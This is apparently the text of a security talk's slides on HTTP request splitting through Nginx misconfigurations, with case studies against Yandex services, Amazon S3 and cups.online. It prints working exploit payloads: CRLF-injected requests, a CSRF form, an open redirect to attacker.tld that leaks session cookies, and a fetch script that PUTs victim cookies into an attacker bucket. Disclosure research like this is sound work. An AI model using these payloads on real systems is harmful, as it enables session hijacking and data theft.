HTTP Request Splitting
HTTP Request Splitting
vulnerabilities exploitation
@BlackFan
HTTP Splitting
2
Nginx misconfiguration
3
Nginx misconfiguration
4
CRLF Injection (HTTP Response)
5
CRLF Injection (HTTP Response)
http/1.1
http/2 http/1.1
6
CRLF Injection (HTTP Request)
7
CRLF Injection (HTTP Request)
8
Detection methods
GET / H HTTP/1.1
Host: company.tld
Cookie: sessionid=xxx;
9
Detection methods
GET / HTTP/13.37
X: x HTTP/1.1
Host: company.tld
Cookie: sessionid=xxx;
10
Detection methods
GET / HTTP/1.1
Host: x HTTP/1.1
Host: company.tld
Cookie: sessionid=xxx;
11
Detection methods
12
CRLF Injection (HTTP Response)
▪ WAF bypass
▪ Etc…
13
Case #1
mail.yandex.ru
Case #1: mail.yandex.ru
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
15
Case #1: mail.yandex.ru
What can an attacker control in HTTP request?
16
Case #1: mail.yandex.ru
Adding custom HTTP headers
17
Case #1: mail.yandex.ru
Partial control of the Request-Path
/%252e%252e/ /%2e%2e/
18
Case #1: mail.yandex.ru
Partial control of the Request-Path
19
Case #1: mail.yandex.ru
key=value
20
Case #1: mail.yandex.ru
param= HTTP/1.1
Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
[…]
¶m2=value
21
Case #1: mail.yandex.ru
param= HTTP/1.1
Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
[…]
¶m2=value
22
Case #1: mail.yandex.ru
23
Case #1: mail.yandex.ru
Email signature:
24
Case #1: mail.yandex.ru
_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: mail.yandex.ru
http
body
Cookie: yandexuid=[…]; Session_id=[…];
[…]
&x=padding[…5000…]padding
25
Case #1: mail.yandex.ru
<form
action="https://mail.yandex.ru/lite/api/%252e%252e/%252e%252e/lite/setup-
action.xml%20HTTP/1.1%0D%0AHost:mail.yandex.ru%0D%0ACookie:Session_id=
<attacker_session_id>%3b%0D%0AContent-Length:5000%0D%0A
Content-Type:application/x-www-form-urlencoded%0D%0A%0D%0A
_ckey=<attacker_CSRF_token>&signature="
method="POST">
</form>
26
Case #1: mail.yandex.ru
_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: mail.yandex.ru
Cookie: yandexuid=[…]; Session_id=[…];
[…] signature parameter
contains only this data
&x=padding[…5000…]padding
27
Case #1: mail.yandex.ru
28
Case #1: mail.yandex.ru
29
Case #1: mail.yandex.ru
POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1
Host: mail.yandex.ru
[…]
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="_ckey"
<attacker_CSRF_token>
--xxx
Content-Disposition: form-data; name="signature"
PoC: HTTP/1.1
Host: mail.yandex.ru
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
30
Case #1: mail.yandex.ru
POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1
Host: mail.yandex.ru
[…]
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="_ckey"
<attacker_CSRF_token>
--xxx signature parameter
Content-Disposition: form-data; name="signature" contains only this data
PoC: HTTP/1.1
Host: mail.yandex.ru
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
31
Case #1: mail.yandex.ru
POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1
Host: mail.yandex.ru
[…]
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="_ckey"
X-Original-Uri
<attacker_CSRF_token> contains a boundary
--xxx
Content-Disposition: form-data; name="signature"
PoC: HTTP/1.1
Host: mail.yandex.ru
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
32
Case #1: mail.yandex.ru
POST /lite/api/%2e%2e/%2e%2e/lite/setup-action.xml HTTP/1.1
Host: mail.yandex.ru
[…]
Content-Type: multipart/form-data; boundary=x.x
--x.x
Content-Disposition: form-data; name="_ckey"
<attacker_CSRF_token>
--x.x
Content-Disposition: form-data; name="signature"
PoC: HTTP/1.1
Host: mail.yandex.ru
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--x%2ex%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--x.x--
padding[…5000…]padding
33
Case #1: mail.yandex.ru
Attacker Session_id
Client Session_id
34
Case #2
direct.yandex.ru
Case #2: direct.yandex.ru
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
36
Case #2: direct.yandex.ru
The exploitation of the vulnerability is complicated by the static path
37
Case #2: direct.yandex.ru
What if we use HTTP Parameter Pollution?
GET /registered/main.pl?cmd=unifiedPayment&context=payment&native_uri=x
&cmd=foobar HTTP/1.1
CRLF: Injection HTTP/1.1
Host: direct.yandex.ru
Cookie: Session_id=xxx;
38
Case #2: direct.yandex.ru
The extra GET parameter didn't work, but the POST was successful
cmd=foobar
39
Case #2: direct.yandex.ru
Now we need to find a way to extract the data
40
Case #2: direct.yandex.ru
Yep, we will use Open Redirect
cmd=unlockCamp&retpath=/\attacker.tld/
41
Case #2: direct.yandex.ru
CRLF Injection
Open Redirect
42
Case #2: direct.yandex.ru
POST /registered/main.pl?cmd=unifiedPayment&context=payment&native_uri=? HTTP/1.1
Host: direct.yandex.ru
Cookie: Session_id=<attacker_session_id>;
Content-Type: multipart/form-data; boundary=wrw
Content-Length: 12000
[…]
--wrw
Content-Disposition: form-data; name="retpath"
/\attacker.tld/? HTTP/1.1
Host: direct.yandex.ru
[…]
Cookie: Session_id=xxx;
--wrw--
padding[…12000…]padding
43
Case #2: direct.yandex.ru
CRLF Injection
+
Open Redirect
/\attacker.tld? + Cookie
Session_id
attacker.tld
44
Case #2: direct.yandex.ru
45
Case #2: direct.yandex.ru
Cookie values can contain the # symbol, so the attacker's site needs to save
not only the request data, but also the location.hash.
46
Case #3
Amazon S3
Case #3: Amazon S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
Frans Rosén
https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/
48
Case #3: Amazon S3
HTTP/1.1
Host: company.tld
Cookie: session=xxx;
49
Case #3: Amazon S3
CRLF Injection
public
/s3/xss.html
attacker-bucket
50
Case #3: Amazon S3
This is a great XSS example, but what if we could make it even better?
In fact, we control not only the content stored on S3, but also the bucket
settings
HTTP/1.1
Host: company.tld
Cookie: session=xxx;
51
Case #3: Amazon S3
Set the following bucket policy
{
"Version": "2012-10-17",
"Id": "Policy1687790232544",
"Statement": [
{
"Sid": "Stmt1687790230460",
"Effect": "Allow",
"Principal": "*",
"Action": [
"s3:PutObject",
"s3:GetObject"
],
"Resource": "arn:aws:s3:::attacker-bucket/*"
}
]
}
52
Case #3: Amazon S3
Now reuses existing XSS for PUT request
<script>
fetch(
'/s3/PoC.txt%20HTTP/1.1%0D%0AHost:attacker-bucket%0D%0AContent-Length:1000%0D%0A%0D%0A',
{
method: 'PUT',
body: 'x'.repeat(1000),
headers: {
'Content-Type': 'text/plain'
},
credentials: 'include'
}
)
</script>
53
Case #3: Amazon S3
Now reuses existing XSS for PUT request
HTTP/1.1
Host: company.tld
Cookie: secret=value;
Content-Length: 1000
xxx[…1000…]xxx
54
Case #3: Amazon S3
https://attacker-bucket.s3.amazonaws.com/s3/PoC.txt
file
content
55
Case #3: Amazon S3
If the storage does not allow unauthorized file uploads, create AccessKey
and add HTTP header to the payloads.
▪ Authorization: AWS <access_key>:<signature>
▪ Date: <current_date>
56
Case #4
q.yandex-team.ru
Case #4: q.yandex-team.ru
proxy_pass http://$proxy_host/chat/internal$uri$is_args$args;
proxy_set_header Host $proxy_host;
proxy_set_header X-Yandex-Https yes;
58
Case #4: q.yandex-team.ru
Any exploit attempts to move part of the HTTP request into the
HTTP body would return a 302 redirect
59
Case #4: q.yandex-team.ru
Frontend can use custom headers that affect how the backend
handles the HTTP request
proxy_pass http://$proxy_host/chat/internal$uri$is_args$args;
proxy_set_header Host $proxy_host;
proxy_set_header X-Yandex-Https yes;
60
Case #4: q.yandex-team.ru
61
Case #5
davmedia.cups.online
Case #5: davmedia.cups.online
Example when the backend supports HTTP pipelining
CRLF Injection
63
Case #5: davmedia.cups.online
GET
/contests/%20HTTP/1.1%0d%0aHost:cups.online%0d%0a%0d%0aGET%20/%3cscript%3ealert(document.domain)
%3c/script%3e%20HTTP/1.1%0d%0aHost:%20xxx%0d%0aX: HTTP/1.1
Host: davmedia.cups.online
▪ Why? ¯\_(ツ)_/¯
65
Case #5: davmedia.cups.online
66
Mitigation
67